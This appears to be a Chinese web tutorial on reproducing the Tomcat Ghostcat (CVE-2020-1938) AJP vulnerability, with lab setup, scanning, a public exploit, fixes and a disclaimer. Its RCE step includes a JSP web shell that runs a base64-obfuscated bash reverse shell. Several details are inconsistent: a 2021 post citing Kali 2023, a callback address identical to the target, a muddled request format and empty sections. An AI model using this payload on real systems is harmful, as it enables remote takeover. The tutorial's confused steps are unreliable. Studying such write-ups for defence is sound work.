如何进行Apache Tomcat远程代码执行漏洞CVE-2020-1938复现

发布时间:2021-12-28 16:57:24 作者:柒染
来源:亿速云 阅读:994
# 如何进行Apache Tomcat远程代码执行漏洞CVE-2020-1938复现

## 一、漏洞概述

### 1.1 漏洞背景
CVE-2020-1938(又称Ghostcat漏洞)是Apache Tomcat服务器中存在的一个高危漏洞,由长亭科技安全研究员于2020年2月披露。该漏洞影响Tomcat AJP协议(Apache JServ Protocol)实现,攻击者可通过构造恶意请求实现任意文件读取或远程代码执行。

### 1.2 影响版本
- Apache Tomcat 6.x
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 9.x < 9.0.31

### 1.3 漏洞原理
漏洞源于Tomcat默认开启的AJP协议(端口8009)未对请求进行充分安全校验:
1. 攻击者可向AJP服务发送特制请求
2. 通过`javax.servlet.include`等参数实现文件路径穿越
3. 最终导致Web应用目录下的文件被读取或JSP文件被解析执行

## 二、环境搭建

### 2.1 实验环境要求
- 虚拟机:VMware Workstation 16+
- 操作系统:Kali Linux 2023(攻击机) + CentOS 7(靶机)
- 软件版本:Apache Tomcat 9.0.30(存在漏洞版本)

### 2.2 靶机环境配置
```bash
# 下载存在漏洞的Tomcat版本
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.30/bin/apache-tomcat-9.0.30.tar.gz

# 解压并启动
tar zxvf apache-tomcat-9.0.30.tar.gz
cd apache-tomcat-9.0.30/bin
./startup.sh

# 验证服务运行
netstat -antp | grep java  # 应显示8009(AJP)和8080(HTTP)端口开放

三、漏洞验证与复现

3.1 信息收集阶段

使用Nmap扫描目标服务:

nmap -sV -p 8009,8080 192.168.1.100

预期输出应包含:

8009/tcp open  ajp13   Apache Jserv Protocol 1.3
8080/tcp open  http    Apache Tomcat 9.0.30

3.2 文件读取利用

方法一:使用公开EXP

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 192.168.1.100

输入文件路径(如/WEB-INF/web.xml)可读取敏感配置信息。

方法二:手动构造请求

使用Burp Suite抓包工具: 1. 新建AJP协议请求(需安装AJP插件) 2. 构造包含恶意属性的请求:

{
  "attributes": [
    {"name": "req_attribute","value": "javax.servlet.include.request_uri"},
    {"name": "req_attribute","value": "/"},
    {"name": "req_attribute","value": "javax.servlet.include.path_info"},
    {"name": "req_attribute","value": "WEB-INF/web.xml"},
    {"name": "req_attribute","value": "javax.servlet.include.servlet_path"}
  ]
}

3.3 远程代码执行

当服务器存在文件上传功能时,可结合文件上传实现RCE:

  1. 上传恶意JSP文件(需有上传点):
<% Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"); %>
  1. 通过AJP协议请求触发执行:
python exploit.py -p 8009 -f /uploads/shell.jsp 192.168.1.100

四、漏洞修复方案

4.1 临时缓解措施

  1. 关闭AJP协议(推荐):
<!-- conf/server.xml -->
<!-- 注释以下行 -->
<!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->
  1. 配置AJP认证:
<Connector port="8009" protocol="AJP/1.3" secretRequired="true" secret="your_secure_password" />

4.2 官方补丁升级

升级到安全版本: - Tomcat 7.x → 7.0.100+ - Tomcat 8.x → 8.5.51+ - Tomcat 9.x → 9.0.31+

4.3 网络层防护

五、深入技术分析

5.1 AJP协议工作流程

  1. 前端代理(如Apache HTTPD)通过AJP协议与Tomcat通信
  2. 协议使用二进制格式传输数据
  3. 漏洞源于AjpProcessor#prepareRequest方法未对请求属性做严格过滤

5.2 关键漏洞代码

org.apache.coyote.ajp.AbstractAjpProcessor类中:

// 未校验的请求属性处理
if (request.getAttribute(attribute) == null) {
    request.setAttribute(attribute, value);
}

六、防御建议

6.1 开发层面

6.2 运维层面

6.3 安全监测

七、法律与道德声明

  1. 本实验仅限授权环境测试
  2. 未经授权测试他人系统属违法行为
  3. 复现漏洞需获得系统所有者书面许可
  4. 所有实验数据应妥善保管不得外泄

八、参考资源

  1. Apache官方安全公告
  2. CVE-2020-1938漏洞详情
  3. CNVD-2020-10487漏洞通报
  4. AJP协议规范

注:实际复现时请确保:
1. 在隔离的测试环境中操作
2. 不使用真实的敏感数据
3. 遵守当地网络安全法律法规
推荐阅读:
  1. 如何进行Apache Tomcat远程代码执行漏洞CVE-2019-0232复现
  2. 怎么进行Struts2 S2-061 远程命令执行漏洞CVE-2020-17530复现

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve-2020-1938 apache tomcat

上一篇:Laravel Debug mode 远程代码执行漏洞CVE-2021-3129的示例分析

下一篇:怎么做到Laravel配置可以网站后台配置

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》